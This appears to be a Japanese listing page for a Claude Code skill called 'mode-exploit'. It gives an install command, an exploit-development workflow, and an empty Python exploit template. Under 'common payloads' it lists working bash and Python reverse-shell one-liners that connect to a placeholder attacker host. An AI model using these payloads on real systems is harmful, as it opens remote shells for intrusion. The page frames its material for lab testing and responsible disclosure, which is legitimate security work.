mode-exploit について
mode-exploit は、管理された環境でエクスプロイトを調査・検証するセキュリティ担当者向けの作業ガイドです。脆弱性分析からコード作成、テスト、文書化までを扱い、責任ある開示を重視します。
主な機能
- 01段階別の開発ワークフロー
- 02Python エクスプロイトのひな型
- 03一般的なペイロード例
- 04ラボ環境でのテスト重視
- 05影響とクリーンアップの記録
活用シーン
- 01脆弱性の原因と関連事例の分析
- 02概念実証コードの作成
- 03管理された環境での検証
- 04利用手順と後片付けの文書化
インストール
コマンドをコピーしてターミナルで実行します。
$
npx skills add https:/ / github.com/ duck4nh/ antigravity-kit --skill mode-exploitインストール後、Claude Code で/mode-exploitを入力して読み込まれたか確認します。
詳細
エクスプロイト開発モード
ワークフロー
- 分析 → 脆弱性と根本原因を理解します
- 調査 → 類似のエクスプロイト、CVE、手法を探します
- 開発 → エクスプロイトコードを記述します
- テスト → 管理された環境で検証します
- 文書化 → PoC、使用手順、影響をまとめます
エクスプロイトのテンプレート(Python)
#!/usr/bin/env python3
"""
Exploit: [CVE-XXXX-XXXX / Vuln Name]
Target: [Software/Version]
Type: [RCE/SQLi/LFI/etc]
Author: [Name]
"""
import argparse
import requests
def exploit(target: str, cmd: str = "id") -> str:
"""Main exploit logic"""
# Exploit code here
pass
def main():
parser = argparse.ArgumentParser(description="Exploit description")
parser.add_argument("target", help="Target URL/IP")
parser.add_argument("-c", "--cmd", default="id", help="Command to execute")
args = parser.parse_args()
result = exploit(args.target, args.cmd)
print(result)
if __name__ == "__main__":
main()
一般的なペイロード
# Reverse shell (bash)
bash -i >& /dev/tcp/ATTACKER/PORT 0>&1
# Python reverse shell
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER",PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
原則
- まずラボ環境でテストします
- すべての手順を明確に文書化します
- クリーンアップ/復元手順を含めます
- 責任ある情報開示に従います
コメント
Markdown 対応